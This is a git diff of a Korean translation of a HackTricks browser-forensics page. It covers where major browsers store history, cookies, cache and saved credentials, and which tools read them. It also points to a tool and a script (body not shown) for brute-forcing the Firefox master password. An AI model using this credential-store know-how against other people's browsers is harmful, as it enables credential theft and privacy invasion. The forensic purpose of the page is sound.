+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
+{% endhint %}
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
-오늘 바로 액세스하세요:
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 **워크플로우를 쉽게 구축하고 자동화**하세요.\
+오늘 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 브라우저 아티팩트
-브라우저 아티팩트에는 네비게이션 히스토리, 북마크 및 캐시 데이터와 같은 웹 브라우저에 의해 저장된 다양한 유형의 데이터가 포함됩니다. 이러한 아티팩트는 운영 체제 내의 특정 폴더에 보관되며, 브라우저마다 위치와 이름이 다르지만 일반적으로 유사한 데이터 유형을 저장합니다.
+브라우저 아티팩트는 탐색 기록, 북마크 및 캐시 데이터와 같은 웹 브라우저에 저장된 다양한 유형의 데이터를 포함합니다. 이러한 아티팩트는 운영 체제 내의 특정 폴더에 보관되며, 브라우저마다 위치와 이름이 다르지만 일반적으로 유사한 데이터 유형을 저장합니다.
-가장 일반적인 브라우저 아티팩트 요약은 다음과 같습니다:
+가장 일반적인 브라우저 아티팩트의 요약은 다음과 같습니다:
-* **네비게이션 히스토리**: 사용자가 웹 사이트를 방문한 내역을 추적하여 악성 사이트 방문을 식별하는 데 유용합니다.
-* **자동완성 데이터**: 빈번한 검색을 기반으로 하는 제안으로, 네비게이션 히스토리와 결합되면 통찰을 제공합니다.
-* **북마크**: 사용자가 빠르게 액세스하기 위해 저장한 사이트.
-* **확장 프로그램 및 애드온**: 사용자가 설치한 브라우저 확장 프로그램 또는 애드온.
-* **캐시**: 웹 콘텐츠(예: 이미지, JavaScript 파일)를 저장하여 웹 사이트 로딩 시간을 단축하는 데 유용한 포렌식 분석에 가치가 있습니다.
-* **로그인**: 저장된 로그인 자격 증명.
-* **파비콘**: 탭 및 북마크에 나타나는 웹 사이트와 관련된 아이콘으로, 사용자 방문에 대한 추가 정보로 유용합니다.
-* **브라우저 세션**: 열린 브라우저 세션과 관련된 데이터.
-* **다운로드**: 브라우저를 통해 다운로드한 파일의 기록.
-* **양식 데이터**: 웹 양식에 입력된 정보로, 미래 자동 입력 제안을 위해 저장됩니다.
-* **썸네일**: 웹 사이트의 미리 보기 이미지.
-* **사용자 지정 사전.txt**: 사용자가 브라우저 사전에 추가한 단어.
+* **탐색 기록**: 사용자가 방문한 웹사이트를 추적하며, 악성 사이트 방문을 식별하는 데 유용합니다.
+* **자동 완성 데이터**: 자주 검색한 내용을 기반으로 한 제안으로, 탐색 기록과 결합할 때 통찰력을 제공합니다.
+* **북마크**: 사용자가 빠르게 접근하기 위해 저장한 사이트입니다.
+* **확장 프로그램 및 애드온**: 사용자가 설치한 브라우저 확장 프로그램 또는 애드온입니다.
+* **캐시**: 웹 콘텐츠(예: 이미지, JavaScript 파일)를 저장하여 웹사이트 로딩 시간을 개선하며, 포렌식 분석에 유용합니다.
+* **로그인 정보**: 저장된 로그인 자격 증명입니다.
+* **파비콘**: 웹사이트와 관련된 아이콘으로, 탭 및 북마크에 나타나며, 사용자 방문에 대한 추가 정보를 제공합니다.
+* **브라우저 세션**: 열린 브라우저 세션과 관련된 데이터입니다.
+* **다운로드**: 브라우저를 통해 다운로드한 파일의 기록입니다.
+* **양식 데이터**: 웹 양식에 입력된 정보로, 향후 자동 완성 제안을 위해 저장됩니다.
+* **썸네일**: 웹사이트의 미리보기 이미지입니다.
+* **Custom Dictionary.txt**: 사용자가 브라우저 사전에 추가한 단어입니다.
-## 파이어폭스
+## Firefox
-파이어폭스는 프로필 내에서 사용자 데이터를 조직화하며, 운영 체제에 따라 특정 위치에 저장됩니다:
+Firefox는 사용자 데이터를 프로필 내에서 구성하며, 운영 체제에 따라 특정 위치에 저장됩니다:
-* **리눅스**: `~/.mozilla/firefox/`
-* **맥OS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
-* **윈도우**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
+* **Linux**: `~/.mozilla/firefox/`
+* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
+* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
-이러한 디렉토리 내에 있는 `profiles.ini` 파일은 사용자 프로필을 나열합니다. 각 프로필의 데이터는 `profiles.ini`와 동일한 디렉토리에 위치한 `profiles.ini` 내의 `Path` 변수로 명명된 폴더에 저장됩니다. 프로필 폴더가 누락된 경우 삭제된 것일 수 있습니다.
+이 디렉토리 내의 `profiles.ini` 파일은 사용자 프로필을 나열합니다. 각 프로필의 데이터는 `profiles.ini` 내의 `Path` 변수에 명시된 이름의 폴더에 저장되며, `profiles.ini`와 동일한 디렉토리에 위치합니다. 프로필 폴더가 누락된 경우 삭제되었을 수 있습니다.
각 프로필 폴더 내에서 여러 중요한 파일을 찾을 수 있습니다:
-* **places.sqlite**: 히스토리, 북마크 및 다운로드를 저장합니다. Windows의 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)와 같은 도구는 히스토리 데이터에 액세스할 수 있습니다.
-* 특정 SQL 쿼리를 사용하여 히스토리 및 다운로드 정보를 추출합니다.
+* **places.sqlite**: 기록, 북마크 및 다운로드를 저장합니다. Windows에서 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)와 같은 도구를 사용하여 기록 데이터를 접근할 수 있습니다.
+* 특정 SQL 쿼리를 사용하여 기록 및 다운로드 정보를 추출합니다.
* **bookmarkbackups**: 북마크의 백업을 포함합니다.
* **formhistory.sqlite**: 웹 양식 데이터를 저장합니다.
* **handlers.json**: 프로토콜 핸들러를 관리합니다.
-* **persdict.dat**: 사용자 지정 사전 단어.
-* **addons.json** 및 **extensions.sqlite**: 설치된 애드온 및 확장 프로그램 정보.
-* **cookies.sqlite**: 쿠키 저장소로, Windows에서는 [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html)를 통해 검사할 수 있습니다.
-* **cache2/entries** 또는 **startupCache**: 캐시 데이터로, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html)와 같은 도구를 통해 액세스할 수 있습니다.
+* **persdict.dat**: 사용자 정의 사전 단어입니다.
+* **addons.json** 및 **extensions.sqlite**: 설치된 애드온 및 확장 프로그램에 대한 정보입니다.
+* **cookies.sqlite**: 쿠키 저장소로, Windows에서 [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html)를 사용하여 검사할 수 있습니다.
+* **cache2/entries** 또는 **startupCache**: 캐시 데이터로, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html)와 같은 도구를 통해 접근할 수 있습니다.
* **favicons.sqlite**: 파비콘을 저장합니다.
-* **prefs.js**: 사용자 설정 및 환경 설정.
-* **downloads.sqlite**: 이전 다운로드 데이터베이스로, 현재는 places.sqlite에 통합됩니다.
-* **thumbnails**: 웹 사이트 썸네일.
-* **logins.json**: 암호화된 로그인 정보.
-* **key4.db** 또는 **key3.db**: 민감한 정보 보호를 위한 암호화 키를 저장합니다.
+* **prefs.js**: 사용자 설정 및 기본 설정입니다.
+* **downloads.sqlite**: 이전 다운로드 데이터베이스로, 현재 places.sqlite에 통합되었습니다.
+* **thumbnails**: 웹사이트 썸네일입니다.
+* **logins.json**: 암호화된 로그인 정보입니다.
+* **key4.db** 또는 **key3.db**: 민감한 정보를 보호하기 위한 암호화 키를 저장합니다.
-또한, 브라우저의 안티 피싱 설정을 확인하려면 `prefs.js`에서 `browser.safebrowsing` 항목을 검색하여 안전한 브라우징 기능이 활성화되었는지 비활성화되었는지 확인할 수 있습니다.
+또한, 브라우저의 피싱 방지 설정을 확인하려면 `prefs.js`에서 `browser.safebrowsing` 항목을 검색하여 안전한 탐색 기능이 활성화되었는지 비활성화되었는지 확인할 수 있습니다.
-마스터 암호를 복호화하려면 [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)를 사용할 수 있습니다. 다음 스크립트와 호출을 사용하여 브루트 포스할 암호 파일을 지정할 수 있습니다:
+마스터 비밀번호를 복호화하려고 시도하려면 [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)를 사용할 수 있습니다.\
+다음 스크립트와 호출을 사용하여 비밀번호 파일을 지정하여 무차별 대입 공격을 수행할 수 있습니다:
{% code title="brute.sh" %}
```bash
@@ -90,115 +92,117 @@ done < $passfile
## Google Chrome
-Google Chrome은 운영 체제에 따라 특정 위치에 사용자 프로필을 저장합니다:
+Google Chrome은 운영 체제에 따라 사용자 프로필을 특정 위치에 저장합니다:
* **Linux**: `~/.config/google-chrome/`
* **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
* **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
-이러한 디렉토리 내에서 대부분의 사용자 데이터는 **Default/** 또는 **ChromeDefaultData/** 폴더에서 찾을 수 있습니다. 다음 파일에 중요한 데이터가 포함되어 있습니다:
+이 디렉토리 내에서 대부분의 사용자 데이터는 **Default/** 또는 **ChromeDefaultData/** 폴더에 있습니다. 다음 파일은 중요한 데이터를 포함합니다:
-* **History**: URL, 다운로드 및 검색 키워드를 포함합니다. Windows에서는 [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html)를 사용하여 히스토리를 읽을 수 있습니다. "Transition Type" 열에는 사용자가 링크를 클릭하거나 URL을 입력하거나 양식을 제출하거나 페이지를 새로 고침하는 등 다양한 의미가 포함됩니다.
+* **History**: URL, 다운로드 및 검색 키워드를 포함합니다. Windows에서는 [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html)를 사용하여 기록을 읽을 수 있습니다. "Transition Type" 열은 링크 클릭, 입력된 URL, 양식 제출 및 페이지 새로 고침을 포함한 다양한 의미를 가집니다.
* **Cookies**: 쿠키를 저장합니다. 검사를 위해 [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html)를 사용할 수 있습니다.
-* **Cache**: 캐시된 데이터를 보유합니다. 검사를 위해 Windows 사용자는 [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html)를 활용할 수 있습니다.
+* **Cache**: 캐시된 데이터를 보유합니다. 검사를 위해 Windows 사용자는 [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html)를 사용할 수 있습니다.
* **Bookmarks**: 사용자 북마크입니다.
-* **Web Data**: 양식 히스토리를 포함합니다.
-* **Favicons**: 웹 사이트의 아이콘을 저장합니다.
+* **Web Data**: 양식 기록을 포함합니다.
+* **Favicons**: 웹사이트 파비콘을 저장합니다.
* **Login Data**: 사용자 이름 및 비밀번호와 같은 로그인 자격 증명을 포함합니다.
* **Current Session**/**Current Tabs**: 현재 브라우징 세션 및 열린 탭에 대한 데이터입니다.
-* **Last Session**/**Last Tabs**: Chrome이 닫히기 전에 활성화된 사이트에 대한 정보입니다.
-* **Extensions**: 브라우저 확장 프로그램 및 애드온을 위한 디렉토리입니다.
-* **Thumbnails**: 웹 사이트 썸네일을 저장합니다.
-* **Preferences**: 플러그인, 확장 프로그램, 팝업, 알림 등의 설정을 포함한 정보가 풍부한 파일입니다.
-* **브라우저 내장 안티 피싱**: 안티 피싱 및 악성 코드 보호가 활성화되어 있는지 확인하려면 `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`를 실행합니다. 출력에서 `{"enabled: true,"}`를 찾습니다.
+* **Last Session**/**Last Tabs**: Chrome이 닫히기 전 마지막 세션 동안 활성 상태였던 사이트에 대한 정보입니다.
+* **Extensions**: 브라우저 확장 및 애드온을 위한 디렉토리입니다.
+* **Thumbnails**: 웹사이트 썸네일을 저장합니다.
+* **Preferences**: 플러그인, 확장, 팝업, 알림 등에 대한 설정을 포함한 정보가 풍부한 파일입니다.
+* **Browser’s built-in anti-phishing**: 안티 피싱 및 맬웨어 보호가 활성화되어 있는지 확인하려면 `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`를 실행합니다. 출력에서 `{"enabled: true,"}`를 찾습니다.
-## **SQLite DB 데이터 복구**
+## **SQLite DB Data Recovery**
-이전 섹션에서 볼 수 있듯이 Chrome과 Firefox는 데이터를 저장하기 위해 **SQLite** 데이터베이스를 사용합니다. 삭제된 항목을 복구할 수 있는 도구인 [**sqlparse**](https://github.com/padfoot999/sqlparse) 또는 [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases)를 사용할 수 있습니다.
+앞서 언급한 바와 같이 Chrome과 Firefox는 **SQLite** 데이터베이스를 사용하여 데이터를 저장합니다. **삭제된 항목을 복구하는 도구** [**sqlparse**](https://github.com/padfoot999/sqlparse) **또는** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases)를 사용할 수 있습니다.
## **Internet Explorer 11**
-Internet Explorer 11은 다양한 위치에 데이터 및 메타데이터를 관리하여 저장된 정보와 해당 세부 정보를 쉽게 액세스하고 관리할 수 있도록 지원합니다.
+Internet Explorer 11은 다양한 위치에서 데이터 및 메타데이터를 관리하여 저장된 정보와 해당 세부 정보를 쉽게 접근하고 관리할 수 있도록 돕습니다.
-### 메타데이터 저장
+### Metadata Storage
-Internet Explorer의 메타데이터는 `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (VX가 V01, V16 또는 V24인 경우)에 저장됩니다. 이와 관련하여 `V01.log` 파일은 `WebcacheVX.data`와 수정 시간의 불일치를 보여줄 수 있으며, `esentutl /r V01 /d`를 사용하여 복구해야 할 수 있습니다. 이 ESE 데이터베이스에 저장된 메타데이터는 photorec 및 [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)와 같은 도구를 사용하여 복구하고 검사할 수 있습니다. **Containers** 테이블 내에서 각 데이터 세그먼트가 저장된 특정 테이블 또는 컨테이너를 식별할 수 있으며, 이는 Skype와 같은 다른 Microsoft 도구의 캐시 세부 정보를 포함합니다.
+Internet Explorer의 메타데이터는 `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`에 저장됩니다 (VX는 V01, V16 또는 V24입니다). 이와 함께 `V01.log` 파일은 `WebcacheVX.data`와의 수정 시간 불일치를 보여줄 수 있으며, 이는 `esentutl /r V01 /d`를 사용하여 수리할 필요가 있음을 나타냅니다. 이 메타데이터는 ESE 데이터베이스에 저장되며, photorec 및 [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)와 같은 도구를 사용하여 복구하고 검사할 수 있습니다. **Containers** 테이블 내에서 각 데이터 세그먼트가 저장된 특정 테이블 또는 컨테이너를 식별할 수 있으며, Skype와 같은 다른 Microsoft 도구의 캐시 세부 정보도 포함됩니다.
-### 캐시 검사
+### Cache Inspection
-[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) 도구를 사용하여 캐시를 검사할 수 있으며, 캐시 데이터 추출 폴더 위치가 필요합니다. 캐시의 메타데이터에는 파일 이름, 디렉토리, 액세스 횟수, URL 원본 및 캐시 생성, 액세스, 수정 및 만료 시간을 나타내는 타임스탬프가 포함됩니다.
+[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) 도구를 사용하여 캐시를 검사할 수 있으며, 캐시 데이터 추출 폴더 위치가 필요합니다. 캐시의 메타데이터에는 파일 이름, 디렉토리, 접근 횟수, URL 출처 및 캐시 생성, 접근, 수정 및 만료 시간을 나타내는 타임스탬프가 포함됩니다.
-### 쿠키 관리
+### Cookies Management
-쿠키는 [IECookiesView](https://www.nirsoft.net/utils/iecookies.html)를 사용하여 탐색할 수 있으며, 메타데이터에는 이름, URL, 액세스 횟수 및 다양한 시간 관련 세부 정보가 포함됩니다. 영구 쿠키는 `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`에 저장되며, 세션 쿠키는 메모리에 저장됩니다.
+쿠키는 [IECookiesView](https://www.nirsoft.net/utils/iecookies.html)를 사용하여 탐색할 수 있으며, 메타데이터에는 이름, URL, 접근 횟수 및 다양한 시간 관련 세부 정보가 포함됩니다. 지속적인 쿠키는 `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`에 저장되며, 세션 쿠키는 메모리에 존재합니다.
-### 다운로드 세부 정보
+### Download Details
-다운로드 메타데이터는 [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)를 통해 액세스할 수 있으며, 특정 컨테이너에는 URL, 파일 유형 및 다운로드 위치와 같은 데이터가 저장됩니다. 물리적 파일은 `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`에서 찾을 수 있습니다.
+다운로드 메타데이터는 [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)를 통해 접근할 수 있으며, 특정 컨테이너는 URL, 파일 유형 및 다운로드 위치와 같은 데이터를 보유합니다. 물리적 파일은 `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` 아래에서 찾을 수 있습니다.
-### 브라우징 히스토리
+### Browsing History
-브라우징 히스토리를 검토하려면 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)를 사용하고, 추출된 히스토리 파일의 위치와 Internet Explorer 구성을 필요로 합니다. 여기서 메타데이터에는 수정 및 액세스 시간과 액세스 횟수가 포함됩니다. 히스토리 파일은 `%userprofile%\Appdata\Local\Microsoft\Windows\History`에 있습니다.
+브라우징 기록을 검토하려면 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)를 사용할 수 있으며, 추출된 기록 파일의 위치와 Internet Explorer에 대한 구성이 필요합니다. 여기의 메타데이터에는 수정 및 접근 시간과 접근 횟수가 포함됩니다. 기록 파일은 `%userprofile%\Appdata\Local\Microsoft\Windows\History`에 위치합니다.
-### 입력된 URL
+### Typed URLs
-입력된 URL 및 사용 시간은 레지스트리 내 `NTUSER.DAT`의 `Software\Microsoft\InternetExplorer\TypedURLs` 및 `Software\Microsoft\InternetExplorer\TypedURLsTime`에 저장되며, 사용자가 입력한 마지막 50개의 URL과 마지막 입력 시간을 추적합니다.
+입력된 URL 및 사용 시간은 `NTUSER.DAT`의 `Software\Microsoft\InternetExplorer\TypedURLs` 및 `Software\Microsoft\InternetExplorer\TypedURLsTime` 레지스트리에 저장되어 있으며, 사용자가 입력한 마지막 50개의 URL과 마지막 입력 시간을 추적합니다.
## Microsoft Edge
-Microsoft Edge는 사용자 데이터를 `%userprofile%\Appdata\Local\Packages`에 저장합니다. 다양한 데이터 유형의 경로는 다음과 같습니다:
+Microsoft Edge는 사용자 데이터를 `%userprofile%\Appdata\Local\Packages`에 저장합니다. 다양한 데이터 유형에 대한 경로는 다음과 같습니다:
-* **프로필 경로**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
-* **히스토리, 쿠키 및 다운로드**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
-* **설정, 북마크 및 읽기 목록**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
-* **캐시**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
-* **최근 활성 세션**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
+* **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
+* **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
+* **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
+* **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
+* **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari
Safari 데이터는 `/Users/$User/Library/Safari`에 저장됩니다. 주요 파일은 다음과 같습니다:
-* **History.db**: URL 및 방문 타임스탬프를 포함하는 `history_visits` 및 `history_items` 테이블이 포함되어 있습니다. 쿼리를 수행하려면 `sqlite3`를 사용합니다.
+* **History.db**: `history_visits` 및 `history_items` 테이블에 URL 및 방문 타임스탬프가 포함되어 있습니다. 쿼리를 위해 `sqlite3`를 사용합니다.
* **Downloads.plist**: 다운로드된 파일에 대한 정보입니다.
* **Bookmarks.plist**: 북마크된 URL을 저장합니다.
-* **TopSites.plist**: 가장 자주 방문하는 사이트입니다.
-* **Extensions.plist**: Safari 브라우저 확장 프로그램 목록입니다. 검색하려면 `plutil` 또는 `pluginkit`을 사용합니다.
-* **UserNotificationPermissions.plist**: 푸시 알림을 허용하는 도메인입니다. 구문 분석하려면 `plutil`을 사용합니다.
-* **LastSession.plist**: 마지막 세션의 탭입니다. 구문 분석하려면 `plutil`을 사용합니다.
-* **브라우저 내장 안티 피싱**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites`를 사용하여 확인합니다. 1이 응답되면 해당 기능이 활성화되어 있음을 나타냅니다.
+* **TopSites.plist**: 가장 자주 방문한 사이트입니다.
+* **Extensions.plist**: Safari 브라우저 확장 목록입니다. `plutil` 또는 `pluginkit`을 사용하여 검색합니다.
+* **UserNotificationPermissions.plist**: 푸시 알림을 허용하는 도메인입니다. `plutil`을 사용하여 구문 분석합니다.
+* **LastSession.plist**: 마지막 세션의 탭입니다. `plutil`을 사용하여 구문 분석합니다.
+* **Browser’s built-in anti-phishing**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites`를 사용하여 확인합니다. 1의 응답은 기능이 활성화되어 있음을 나타냅니다.
## Opera
-Opera 데이터는 `/Users/$USER/Library/Application Support/com.operasoftware.Opera`에 저장되며, 히스토리 및 다운로드에 대한 Chrome의 형식을 공유합니다.
+Opera의 데이터는 `/Users/$USER/Library/Application Support/com.operasoftware.Opera`에 위치하며, 기록 및 다운로드에 대한 Chrome의 형식을 공유합니다.
-* **브라우저 내장 안티 피싱**: `fraud_protection_enabled`이 `true`로 설정되어 있는지 확인하려면 `grep`를 사용합니다.
+* **Browser’s built-in anti-phishing**: `Preferences` 파일에서 `fraud_protection_enabled`가 `true`로 설정되어 있는지 확인하여 검증합니다.
-이러한 경로 및 명령은 다른 웹 브라우저에 의해 저장된 브라우징 데이터에 액세스하고 이해하는 데 중요합니다.
+이 경로와 명령은 다양한 웹 브라우저에 저장된 브라우징 데이터에 접근하고 이해하는 데 중요합니다.
-## 참고 자료
+## References
* [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
* [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
* [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
-* **책: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
+* **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
-오늘 바로 액세스하세요:
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-**htARTE (HackTricks AWS Red Team Expert)**로부터 제로에서 영웅까지 AWS 해킹을 배우세요
+Support HackTricks
-HackTricks를 지원하는 다른 방법:
-* **HackTricks**에서 귀하의 **회사 광고를 보고 싶거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
-* **해킹 요령을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
index 524343bd1..47237ed3b 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
@@ -1,55 +1,55 @@
-# 로컬 클라우드 저장소
+# 로컬 클라우드 스토리지
+
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks 다운로드**를 원한다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
-* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
